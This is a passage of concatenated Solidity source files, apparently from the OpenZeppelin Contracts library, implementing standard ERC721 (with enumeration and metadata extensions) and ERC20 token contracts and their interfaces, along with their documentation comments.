bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
